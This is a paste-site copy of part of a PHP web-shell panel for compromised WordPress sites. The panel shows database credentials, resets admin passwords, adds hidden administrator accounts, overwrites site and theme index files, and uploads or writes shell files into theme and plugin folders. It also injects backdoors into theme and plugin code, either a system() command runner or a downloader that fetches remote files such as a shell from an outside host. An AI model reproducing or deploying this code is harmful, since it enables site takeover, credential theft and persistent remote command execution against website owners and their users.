  783.                                 WP Blog Charset: <?php echo getInfo
  784.  
  785. ($_SESSION['dbPref'], 'blog_charset'); ?><br />
  786.                                 WP DB Host: <?php echo $_SESSION
  787.  
  788. ['dbSrvr']; ?><br />
  789.                                 WP DB User: <?php echo $_SESSION
  790.  
  791. ['dbUser']; ?><br />
  792.                                 WP DB Pass: <?php echo $_SESSION
  793.  
  794. ['dbPass']; ?><br />
  795.                                 WP DB Server: <?php echo $_SESSION
  796.  
  797. ['dbName']; ?><br />
  798.                                 WP DB Preffix: <?php echo $_SESSION
  799.  
  800. ['dbPref']; ?>
  801.                             <?php
  802.                             break;
  803.                             case 'logout':
  804.                                 $showForm = true;
  805.                                 if(isset($_POST['no'])):
  806.                                     echo '<META HTTP-EQUIV="refresh"
  807.  
  808. CONTENT="0; url=?">';
  809.                                 elseif(isset($_POST['yes'])):
  810.                                     @session_destroy();
  811.                                     echo '<META HTTP-EQUIV="refresh"
  812.  
  813. CONTENT="0; url=?">';
  814.                                 endif;
  815.                                 if($showForm):
  816.                             ?>
  817.                                     <div id="info">Logout?</div>
  818.                                     <div id="data">
  819.                                         <div class="clear"
  820.  
  821. style="text-align: center;"><input type="submit" value="No" name="no" /> - <input type="submit"
  822.  
  823. value="Yes" name="yes" /></div>
  824.                                     </div>
  825.                             <?php
  826.                                 endif;
  827.                             break;
  828.                             case 'selfremove':
  829.                                 $showForm = true;
  830.                                 if(isset($_POST['no'])):
  831.                                     echo '<META HTTP-EQUIV="refresh"
  832.  
  833. CONTENT="0; url=?">';
  834.                                 elseif(isset($_POST['yes'])):
  835.                                     @session_destroy();
  836.                                     @unlink(basename($_SERVER
  837.  
  838. ['PHP_SELF']));
  839.                                     echo '<META HTTP-EQUIV="refresh"
  840.  
  841. CONTENT="0; url=?">';
  842.                                 endif;
  843.                                 if($showForm):
  844.                             ?>
  845.                                     <div id="info">Self remove?
  846.  
  847. </div>
  848.                                     <div id="data">
  849.                                         <div class="clear"
  850.  
  851. style="text-align: center;"><input type="submit" value="No" name="no" /> - <input type="submit"
  852.  
  853. value="Yes" name="yes" /></div>
  854.                                     </div>
  855.                             <?php
  856.                                 endif;
  857.                             break;
  858.                             case 'about':
  859.                             ?>
  860.                                 <div id="info">About</div>
  861.                                 <div id="data">
  862.                                 <pre style="text-align: center;">
  863.                          
  864.                           .--,-``-.                    ,-.----.    
  865.  ,--,     ,--,   ___     /   /     '.            ____  \    /  \  
  866.  |'. \   / .`| ,--.'|_  / ../        ;         ,'  , `.|   :    \  
  867.  ; \ `\ /' / ; |  | :,' \ ``\  .`-    '     ,-+-,.' _ ||   |  .\ :
  868.  `. \  /  / .' :  : ' :  \___\/   \   :  ,-+-. ;   , ||.   :  |: |
  869.   \  \/  / ./.;__,'  /        \   :   | ,--.'|'   |  |||   |   \ :
  870.    \  \.'  / |  |   |         /  /   / |   |  ,', |  |,|   : .   /
  871.     \  ;  ;  :__,'| :         \  \   \ |   | /  | |--' ;   | |`-'  
  872.    / \  \  \   '  : |__   ___ /   :   ||   : |  | ,    |   | ;    
  873.   ;  /\  \  \  |  | '.'| /   /\   /   :|   : |  |/     :   ' |    
  874. ./__;  \  ;  \ ;  :    ;/ ,,/  ',-    .|   | |`-'      :   : :    
  875. |   : / \  \  ;|  ,   / \ ''\        ; |   ;/          |   | :    
  876. ;   |/   \  ' | ---`-'   \   \     .'  '---'           `---'.|    
  877. `---'     `--`            `--`-,,-'                      `---`    
  878. </pre>
  879. <pre>
  880. +------------------------------------------------------------------------+
  881. |                       Website: http://xt3mp.mx                         |
  882. |                     Contact: xt3mp[at]null[dot]net                     |
  883. +------------------------------------------------------------------------+
  884. </pre>
  885.                                 </div>
  886.                             <?php
  887.                             break;
  888.                             case 1:
  889.                             ?>
  890.                                 <div id="info">All Admin users appear
  891.  
  892. below:</div>
  893.                                 <div id="data"><?php echo getAdmins
  894.  
  895. ($_SESSION['dbPref'], 'list'); ?></div>
  896.                             <?php
  897.                             break;
  898.                             case 2:
  899.                                 $showForm = true;
  900.                                 if(isset($_POST['change_pass'])):
  901.                                     $admUser = $_POST['adminId'];
  902.                                     $admPass = $_POST['admin_pass'];
  903.                                     if(!updateAdmin($_SESSION
  904.  
  905. ['dbPref'], $admUser, $admPass)):
  906.                                         echo '<div
  907.  
  908. class="error">Can\'t update admin password: Internal error</div>';
  909.                                     else:
  910.                                         $admUser = getAdminById
  911.  
  912. ($_SESSION['dbPref'], $admUser);
  913.                                         $showForm = false;
  914.                                         echo '<div
  915.  
  916. class="success">Admin password updated correctly: '.$admUser.'::'.$admPass.'</div>';
  917.                                         echo '<META HTTP-
  918.  
  919. EQUIV="refresh" CONTENT="2; url=?">';
  920.                                     endif;
  921.                                 endif;
  922.                             ?>
  923.                                 <?php
  924.                                 if($showForm):
  925.                                 ?>
  926.                                     <div id="info">Select Admin User
  927.  
  928. and Insert a New Password:</div>
  929.                                     <div id="data">
  930.                                         <div
  931.  
  932. class="clear"><label>User:</label><select name="adminId"><?php echo getAdmins($_SESSION['dbPref']); ?
  933.  
  934. ></select>< Select Admin User<br /></div>
  935.                                         <div
  936.  
  937. class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass"
  938.  
  939. />< Insert New Password<br /></div>
  940.                                         <div
  941.  
  942. class="clear"><label></label><input type="submit" name="change_pass" value="Change Admin Pass" /></div>
  943.                                     </div>
  944.                                 <?php
  945.                                 endif;
  946.                                 ?>
  947.                             <?php
  948.                             break;
  949.                             case 3:
  950.                                 $showForm = true;
  951.                                 if(isset($_POST['add_admin'])):
  952.                                     $admUser = $_POST['admin_user'];
  953.                                     $admPass = $_POST['admin_pass'];
  954.                                     if(!checkUser($_SESSION
  955.  
  956. ['dbPref'], $admUser)):
  957.                                         echo '<div
  958.  
  959. class="error">Can\'t add new Admin User: '.$admUser.' is in use</div>';
  960.                                     elseif(!addAdminUser($_SESSION
  961.  
  962. ['dbPref'], $admUser, $admPass)):
  963.                                         echo '<div
  964.  
  965. class="error">Can\'t insert new Admin User: Internal error</div>';
  966.                                     else:
  967.                                         $showForm = false;
  968.                                         echo '<div
  969.  
  970. class="success">New Admin User inserted correctly: '.$admUser.'::'.$admPass.'</div>';
  971.                                         echo '<META HTTP-
  972.  
  973. EQUIV="refresh" CONTENT="2; url=?">';
  974.                                     endif;
  975.                                 endif;
  976.                             ?>
  977.                                 <?php
  978.                                 if($showForm):
  979.                                 ?>
  980.                                     <div id="info">Insert New Admin
  981.  
  982. User:</div>
  983.                                     <div id="data">
  984.                                         <div
  985.  
  986. class="clear"><label>User:</label><input type="text" id="new_user" name="admin_user" value="Admin2" /><
  987.  
  988. Insert Admin User<br /></div>
  989.                                         <div
  990.  
  991. class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass"
  992.  
  993. />< Insert New Password<br /></div>
  994.                                         <div
  995.  
  996. class="clear"><label></label><input type="submit" name="add_admin" value="Add New Admin" /></div>
  997.                                     </div>
  998.                                 <?php
  999.                                 endif;
  1000.                                 ?>
  1001.                             <?php
  1002.                             break;
  1003.                             case 4:
  1004.                                 $showForm = true;
  1005.                                 $indexContent = @file_get_contents
  1006.  
  1007. ('./index.php');
  1008.                                 if(isset($_POST['change_index'])):
  1009.                                     $newContent = stripslashes
  1010.  
  1011. ($_POST['new_content']);
  1012.                                     $newIndex = @fopen('index.php',
  1013.  
  1014. 'w+');
  1015.                                     if(!$newIndex):
  1016.                                         echo '<div
  1017.  
  1018. class="error">Can\'t create new index file</div>';
  1019.                                     else:
  1020.                                         $showForm = false;
  1021.                                         @fwrite($newIndex,
  1022.  
  1023. $newContent);
  1024.                                         @fclose($newIndex);
  1025.                                         echo '<div
  1026.  
  1027. class="success">Index updated correctly</div>';
  1028.                                         echo '<META HTTP-
  1029.  
  1030. EQUIV="refresh" CONTENT="2; url=?">';
  1031.                                     endif;
  1032.                                 endif;
  1033.                                 if($showForm):
  1034.                                 ?>
  1035.                                     <div id="info">Insert New Index
  1036.  
  1037. Content (WP Main Index) [fopen]:</div>
  1038.                                     <div id="data">
  1039.                                         <div
  1040.  
  1041. class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-
  1042.  
  1043. size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $indexContent; ?
  1044.  
  1045. ></textarea><br /></div>
  1046.                                         <div
  1047.  
  1048. class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
  1049.                                     </div>
  1050.                                 <?php
  1051.                                 endif;
  1052.                             ?>
  1053.                             <?php
  1054.                             break;
  1055.                             case 5:
  1056.                                 $showForm = true;
  1057.                                 $next = false;
  1058.                                 if(isset($_POST['change_index'])):
  1059.                                     $wpUrl = getInfo($_SESSION
  1060.  
  1061. ['dbPref'], 'siteurl');
  1062.                                     if(substr($wpUrl, -1) == '/')
  1063.                                         $wpUrl = substr($wpUrl,
  1064.  
  1065. 0, strlen($wpUrl) - 1);
  1066.                                     $wpUser = $_POST['admin_user'];
  1067.                                     $wpPass = $_POST['admin_pass'];
  1068.                                     $wpCont = stripslashes($_POST
  1069.  
  1070. ['new_content']);
  1071.                                     if(!checkLogin($wpUrl, $wpUser,
  1072.  
  1073. $wpPass)):
  1074.                                         echo '<div
  1075.  
  1076. class="error">Can\'t login with: '.$wpUser.'::'.$wpPass.'</div>';
  1077.                                     else:
  1078.                                         $source = sourceIndex
  1079.  
  1080. ($wpUrl, getInfo($_SESSION['dbPref'], 'template'));
  1081.                                         $data = @preg_match
  1082.  
  1083. ("/<input type=\"hidden\" id=\"_wpnonce\" name=\"_wpnonce\" value=\"(.*)\" \/></", $source, $wpnonce);
  1084.                                         $next = true;
  1085.                                     endif;
  1086.                                     if($next === false):
  1087.                                     elseif($next === true && empty
  1088.  
  1089. ($wpnonce[1])):
  1090.                                         echo '<div
  1091.  
  1092. class="error">Can\'t get wp nonce</div>';
  1093.                                     elseif(!changeIndex($wpUrl,
  1094.  
  1095. $wpCont, getInfo($_SESSION['dbPref'], 'template'), $wpnonce[1])):
  1096.                                         echo '<div
  1097.  
  1098. class="error">Can\'t update index file</div>';
  1099.                                     else:
  1100.                                         $showForm = false;
  1101.                                         echo '<div
  1102.  
  1103. class="success">Index updated correctly</div>';
  1104.                                         echo '<META HTTP-
  1105.  
  1106. EQUIV="refresh" CONTENT="2; url=?">';
  1107.                                     endif;
  1108.                                 endif;
  1109.                                 if($showForm):
  1110.                             ?>
  1111.                                     <div id="info" style="margin-
  1112.  
  1113. bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl');
  1114.  
  1115. ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo
  1116.  
  1117. ($_SESSION['dbPref'], 'template'); ?></a><br /></div>
  1118.                                     <div id="info">Insert New Index
  1119.  
  1120. Content (WP Actual Theme Index) [cURL]:</div>
  1121.                                     <div id="data">
  1122.                                         <div
  1123.  
  1124. class="clear"><label>User:</label><input type="text" id="new_user" name="admin_user" value="Admin2" /><
  1125.  
  1126. Insert Admin User<br /></div>
  1127.                                         <div
  1128.  
  1129. class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass"
  1130.  
  1131. />< Insert Admin Password<br /></div>
  1132.                                         <div
  1133.  
  1134. class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-
  1135.  
  1136. size:13px;font-family:'Courier New', Courier, monospace" rows="5"></textarea><br /></div>
  1137.                                         <div
  1138.  
  1139. class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
  1140.                                     </div>
  1141.                                 <?php
  1142.                                 endif;
  1143.                                 ?>
  1144.                             <?php
  1145.                             break;
  1146.                             case 6:
  1147.                                 $showForm = true;
  1148.                                 $theme = getInfo($_SESSION['dbPref'],
  1149.  
  1150. 'template');
  1151.                                 if(isset($_POST['change_index'])):
  1152.                                     $wpCont = stripslashes($_POST
  1153.  
  1154. ['new_content']);
  1155.                                     $themeContent = @fopen('./wp-
  1156.  
  1157. content/themes/'.$theme.'/index.php', 'w+');
  1158.                                     if(!$themeContent):
  1159.                                         echo '<div
  1160.  
  1161. class="error">Can\'t open/found index.php file</div>';
  1162.                                     else:
  1163.                                         @fwrite($themeContent,
  1164.  
  1165. $wpCont);
  1166.                                         @fclose($themeContent);
  1167.                                         $showForm = false;
  1168.                                         echo '<div
  1169.  
  1170. class="success">Index updated correctly</div>';
  1171.                                         echo '<META HTTP-
  1172.  
  1173. EQUIV="refresh" CONTENT="2; url=?">';
  1174.                                     endif;
  1175.                                 endif;
  1176.                                 if($showForm):
  1177.                                     $themeContent =
  1178.  
  1179. @file_get_contents('./wp-content/themes/'.$theme.'/index.php');
  1180.                             ?>
  1181.                                     <div id="info" style="margin-
  1182.  
  1183. bottom: 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl');
  1184.  
  1185. ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo
  1186.  
  1187. ($_SESSION['dbPref'], 'template'); ?></a><br /></div>
  1188.                                     <div id="info">Insert New Index
  1189.  
  1190. Content (WP Actual Theme Index) [fopen]:</div>
  1191.                                     <div id="data">
  1192.                                         <div
  1193.  
  1194. class="clear"><label>Content:</label><textarea name="new_content" style="text-align: left;font-
  1195.  
  1196. size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $themeContent; ?
  1197.  
  1198. ></textarea><br /></div>
  1199.                                         <div
  1200.  
  1201. class="clear"><label></label><input type="submit" name="change_index" value="Change Index" /></div>
  1202.                                     </div>
  1203.                             <?php
  1204.                                 endif;
  1205.                             break;
  1206.                             case 7:
  1207.                                 $showForm = true;
  1208.                                 if(isset($_POST['upload_shell'])):
  1209.                                     $uploadShell = basename($_FILES
  1210.  
  1211. ['file']['name']);
  1212.                                     if(!move_uploaded_file($_FILES
  1213.  
  1214. ['file']['tmp_name'], $uploadShell)):
  1215.                                         echo '<div
  1216.  
  1217. class="error">Can\'t Upload Shell</div>';
  1218.                                     else:
  1219.                                         $showForm = false;
  1220.                                         echo '<div
  1221.  
  1222. class="success">Shell Uploaded Correctly: <a href="'.getInfo($_SESSION['dbPref'], 'siteurl').'/'.
  1223.  
  1224. $uploadShell.'" target="_blank">'.$uploadShell.'</a></div>';
  1225.                                     endif;
  1226.                                 endif;
  1227.                                 if($showForm):
  1228.                             ?>
  1229.                                 <div id="info">Upload Shell To This
  1230.  
  1231. Path:</div>
  1232.                                 <div id="data">
  1233.                                     <div
  1234.  
  1235. class="clear"><label>File:</label><input type="file" name="file" style="border: 1px dashed #00CF00;"/>
  1236.                                     <input type="submit"
  1237.  
  1238. name="upload_shell" value="Upload Shell" style="margin-left: -15px;"/></div>
  1239.                                 </div>
  1240.                             <?php
  1241.                                 endif;
  1242.                             break;
  1243.                             case 8:
  1244.                                 $showForm = true;
  1245.                                 if(isset($_POST['make_shell'])):
  1246.                                     $shellTheme = $_POST
  1247.  
  1248. ['shell_theme'];
  1249.                                     $shellName = $_POST
  1250.  
  1251. ['shell_name'];
  1252.                                     $shellCont = stripslashes
  1253.  
  1254. ($_POST['shell_content']);
  1255.                                     $makeShell = @fopen('./wp-
  1256.  
  1257. content/themes/'.$shellTheme.'/'.$shellName, 'w+');
  1258.                                     if(!$makeShell):
  1259.                                         echo '<div
  1260.  
  1261. class="error">Can\'t Make Shell In '.$shellTheme.'</div>';
  1262.                                     else:
  1263.                                         $showForm = false;
  1264.                                         @fwrite($makeShell,
  1265.  
  1266. $shellCont);
  1267.                                         @fclose($makeShell);
  1268.                                         echo '<div
  1269.  
  1270. class="success">Shell Maked Correctly: <a href="'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-
  1271.  
  1272. content/themes/'.$shellTheme.'/'.$shellName.'" target="_blank">'.$shellName.'</a></div>';
  1273.                                     endif;
  1274.                                 endif;
  1275.                                 if($showForm):
  1276.                             ?>
  1277.                                 <div id="info" style="margin-bottom:
  1278.  
  1279. 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-
  1280.  
  1281. content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION
  1282.  
  1283. ['dbPref'], 'template'); ?></a><br /></div>
  1284.                                 <div id="info">Make Shell To Themes Path
  1285.  
  1286. [fopen]:</div>
  1287.                                 <div id="data">
  1288.                                     <div
  1289.  
  1290. class="clear"><label>Theme:</label><select name="shell_theme"><?php echo getThemes(); ?></select><
  1291.  
  1292. Select Theme<br /></div>
  1293.                                     <div
  1294.  
  1295. class="clear"><label>Name:</label><input type="text" id="shell_name" name="shell_name" value="shell.php"
  1296.  
  1297. />< Insert Shell Name<br /></div>
  1298.                                     <div
  1299.  
  1300. class="clear"><label>Content:</label><textarea name="shell_content" style="text-align: left;font-
  1301.  
  1302. size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $themeContent; ?
  1303.  
  1304. ></textarea><br /></div>
  1305.                                     <div
  1306.  
  1307. class="clear"><label></label><input type="submit" name="make_shell" value="Make Shell" /></div>
  1308.                                 </div>
  1309.                             <?php
  1310.                                 endif;
  1311.                             break;
  1312.                             case 9:
  1313.                                 $showForm = true;
  1314.                                 if(isset($_POST['make_shell'])):
  1315.                                     $shellPlugin = $_POST
  1316.  
  1317. ['shell_plugin'];
  1318.                                     $shellName = $_POST
  1319.  
  1320. ['shell_name'];
  1321.                                     $shellCont = stripslashes
  1322.  
  1323. ($_POST['shell_content']);
  1324.                                     $makeShell = @fopen('./wp-
  1325.  
  1326. content/plugins/'.$shellPlugin.'/'.$shellName, 'w+');
  1327.                                     if(!$makeShell):
  1328.                                         echo '<div
  1329.  
  1330. class="error">Can\'t Make Shell In '.$shellPlugin.'</div>';
  1331.                                     else:
  1332.                                         $showForm = false;
  1333.                                         @fwrite($makeShell,
  1334.  
  1335. $shellCont);
  1336.                                         @fclose($makeShell);
  1337.                                         echo '<div
  1338.  
  1339. class="success">Shell Maked Correctly: <a href="'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-
  1340.  
  1341. content/plugins/'.$shellPlugin.'/'.$shellName.'" target="_blank">'.$shellName.'</a></div>';
  1342.                                     endif;
  1343.                                 endif;
  1344.                                 if($showForm):
  1345.                             ?>
  1346.                                 <div id="info" style="margin-bottom:
  1347.  
  1348. 5px;">Active Plugins (this can be different to Plugins Path):<br /> <?php echo getInstalledPlugins
  1349.  
  1350. (getInfo($_SESSION['dbPref'], 'siteurl'), getInfo($_SESSION['dbPref'], 'active_plugins')); ?><br
  1351.  
  1352. /></div>
  1353.                                 <div id="info">Make Shell To Plugins
  1354.  
  1355. Path [fopen]:</div>
  1356.                                 <div id="data">
  1357.                                     <div
  1358.  
  1359. class="clear"><label>Plugin:</label><select name="shell_plugin"><?php echo getPlugins(); ?></select><
  1360.  
  1361. Select Plugin<br /></div>
  1362.                                     <div
  1363.  
  1364. class="clear"><label>Name:</label><input type="text" id="shell_name" name="shell_name" value="shell.php"
  1365.  
  1366. />< Insert Shell Name<br /></div>
  1367.                                     <div
  1368.  
  1369. class="clear"><label>Content:</label><textarea name="shell_content" style="text-align: left;font-
  1370.  
  1371. size:13px;font-family:'Courier New', Courier, monospace" rows="5"><?php echo $themeContent; ?
  1372.  
  1373. ></textarea><br /></div>
  1374.                                     <div
  1375.  
  1376. class="clear"><label></label><input type="submit" name="make_shell" value="Make Shell" /></div>
  1377.                                 </div>
  1378.                             <?php
  1379.                                 endif;
  1380.                             break;
  1381.                             case 10:
  1382.                                 $showForm = true;
  1383.                                 if(isset($_POST['make_backdoor'])):
  1384.                                     $backdoorTheme = $_POST
  1385.  
  1386. ['backdoor_theme'];
  1387.                                     $backdoorType = $_POST
  1388.  
  1389. ['backdoor_type'];
  1390.                                     $realTheme = @file_get_contents
  1391.  
  1392. ('./wp-content/themes/'.$backdoorTheme.'/index.php');
  1393.                                     if(strstr($realTheme, '<?php')):
  1394.                                         $exp = '<?php';
  1395.                                     elseif(strstr($realTheme,
  1396.  
  1397. '<?')):
  1398.                                         $exp = '<?';
  1399.                                     endif;
  1400.                                     if($backdoorType == '1'):
  1401.                                         $extra = '?
  1402.  
  1403. active=true&cmd=COMMAND';
  1404.                                         $backdoorCont = 'if(!
  1405.  
  1406. empty($_GET[\'active\'])){system($_GET[\'cmd\']);exit();}';
  1407.                                     else:
  1408.                                         $extra = '?
  1409.  
  1410. active=true&filename=SHELL.PHP&externalfile=http://xt3mp.mx/shell.txt';
  1411.                                         $backdoorCont = 'if(!
  1412.  
  1413. empty($_GET[\'active\'])){$fileContent = @file_get_contents($_GET[\'externalfile\']);$file = fopen
  1414.  
  1415. ($_GET[\'filename\'], \'w+\');@fwrite($file, $fileContent);@fclose($file);echo \'<a href="\'.$_GET
  1416.  
  1417. [\'filename\'].\'">\'.$_GET[\'filename\'].\'</a>\';exit();}';
  1418.                                     endif;
  1419.                                     $explode = explode($exp,
  1420.  
  1421. $realTheme, 2);
  1422.                                     $newContent = stripslashes
  1423.  
  1424. ($exp.' '.$backdoorCont.' '.$explode[1]);
  1425.                                     $makeBackdoor = @fopen('./wp-
  1426.  
  1427. content/themes/'.$backdoorTheme.'/index.php', 'w+');
  1428.                                     if(!$makeBackdoor):
  1429.                                         echo '<div
  1430.  
  1431. class="error">Can\'t Make Backdoor In /wp-content/themes/'.$backdoorTheme.'/index.php</div>';
  1432.                                     else:
  1433.                                         $showForm = false;
  1434.                                         @fwrite($makeBackdoor,
  1435.  
  1436. $newContent);
  1437.                                         @fclose($makeBackdoor);
  1438.                                         echo '<div
  1439.  
  1440. class="success">Backdoor Maked Correctly: <br />'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-
  1441.  
  1442. content/themes/'.$backdoorTheme.'/index.php'.$extra.'</div>';
  1443.                                     endif;
  1444.                                 endif;
  1445.                                 if($showForm):
  1446.                             ?>
  1447.                                 <div id="info" style="margin-bottom:
  1448.  
  1449. 5px;">Actual Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-
  1450.  
  1451. content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION
  1452.  
  1453. ['dbPref'], 'template'); ?></a><br /></div>
  1454.                                 <div id="info">Make Shell To Themes Path
  1455.  
  1456. [fopen]:</div>
  1457.                                 <div id="data">
  1458.                                     <div
  1459.  
  1460. class="clear"><label>Theme:</label><select name="backdoor_theme"><?php echo getThemes(); ?></select><
  1461.  
  1462. Select Theme<br /></div>
  1463.                                     <div
  1464.  
  1465. class="clear"><label>Type:</label><select name="backdoor_type"><option value="1">system
  1466.  
  1467. ();</option><option value="2">File Downloader</option></select>< Select Backdoor Type</div>
  1468.                                     <div
  1469.  
  1470. class="clear"><label></label><input type="submit" name="make_backdoor" value="Make Backdoor" /></div>
  1471.                                 </div>
  1472.                             <?php
  1473.                                 endif;
  1474.                             break;
  1475.                             case 11:
  1476.                                 $showForm = true;
  1477.                                 if(isset($_POST['make_backdoor'])):
  1478.                                     $backdoorPlugin = $_POST
  1479.  
  1480. ['backdoor_plugin'];
  1481.                                     $backdoorType = $_POST
  1482.  
  1483. ['backdoor_type'];
  1484.                                     $realPlugin =
  1485.  
  1486. @file_get_contents('./wp-content/plugins/'.$backdoorPlugin);
  1487.                                     if(strstr($realPlugin, '<?
  1488.  
  1489. php')):
  1490.                                         $exp = '<?php';
  1491.                                     elseif(strstr($realPlugin,
  1492.  
  1493. '<?')):
  1494.                                         $exp = '<?';
  1495.                                     endif;
  1496.                                     if($backdoorType == '1'):
  1497.                                         $extra = '?
  1498.  
  1499. active=true&cmd=COMMAND';
  1500.                                         $backdoorCont = 'if(!
  1501.  
  1502. empty($_GET[\'active\'])){system($_GET[\'cmd\']);exit();}';
  1503.                                     else:
  1504.                                         $extra = '?
  1505.  
  1506. active=true&filename=SHELL.PHP&externalfile=http://xt3mp.mx/shell.txt';
  1507.                                         $backdoorCont = 'if(!
  1508.  
  1509. empty($_GET[\'active\'])){$fileContent = @file_get_contents($_GET[\'externalfile\']);$file = fopen
  1510.  
  1511. ($_GET[\'filename\'], \'w+\');@fwrite($file, $fileContent);@fclose($file);echo \'<a href="\'.$_GET
  1512.  
  1513. [\'filename\'].\'">\'.$_GET[\'filename\'].\'</a>\';exit();}';
  1514.                                     endif;
  1515.                                     $explode = explode($exp,
  1516.  
  1517. $realPlugin, 2);
  1518.                                     $newContent = $exp.' '.
  1519.  
  1520. $backdoorCont.' '.$explode[1];
  1521.                                     $makeBackdoor = @fopen('./wp-
  1522.  
  1523. content/plugins/'.$backdoorPlugin, 'w+');
  1524.                                     if(!$makeBackdoor):
  1525.                                         echo '<div
  1526.  
  1527. class="error">Can\'t Make Backdoor In /wp-content/plugins/'.$backdoorPlugin.'</div>';
  1528.                                     else:
  1529.                                         $showForm = false;
  1530.                                         @fwrite($makeBackdoor,
  1531.  
  1532. $newContent);
  1533.                                         @fclose($makeBackdoor);
  1534.                                         echo '<div
  1535.  
  1536. class="success">Backdoor Maked Correctly: <br />'.getInfo($_SESSION['dbPref'], 'siteurl').'/wp-
  1537.  
  1538. content/plugins/'.$backdoorPlugin.$extra.'</div>';
  1539.                                     endif;
  1540.                                 endif;
  1541.                                 if($showForm):
  1542.                             ?>
  1543.                                 <div id="info">Make Shell To Plugins
  1544.  
  1545. Path [fopen]:</div>
  1546.                                 <div id="data">
  1547.                                     <div
  1548.  
  1549. class="clear"><label>Plugin:</label><select name="backdoor_plugin"><?php echo getInstalledPlugins
  1550.  
  1551. (getInfo($_SESSION['dbPref'], 'siteurl'), getInfo($_SESSION['dbPref'], 'active_plugins'), true); ?
  1552.  
  1553. ></select>< Select Plugin (Active Plugins)<br /></div>
  1554.                                     <div
  1555.  
  1556. class="clear"><label>Type:</label><select name="backdoor_type"><option value="1">system
  1557.  
  1558. ();</option><option value="2">File Downloader</option></select>< Select Backdoor Type</div>
  1559.                                     <div
  1560.  
  1561. class="clear"><label></label><input type="submit" name="make_backdoor" value="Make Backdoor" /></div>
  1562.                                 </div>
  1563.                             <?php
  1564.                                 endif;
  1565.                             break;
  1566.                             default;
  1567.                                 echo '<META HTTP-EQUIV="refresh"
  1568.  
  1569. CONTENT="0; url=?">';
  1570.                             ?>
  1571.                         <?php
  1572.                         endswitch;
  1573.                         ?>
  1574.                     </div>
  1575.                 <?php
  1576.                 endif;
  1577.                 ?>
  1578.             </fieldset>
  1579.         <?php
  1580.         endif;
  1581.         ?>
  1582.     </form>
  1583. </div>
  1584. <pre style="text-align: center;margin-top: 5px">xt3mp@null.net >> http://xt3mp.mx</pre>
  1585. </body>
  1586. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement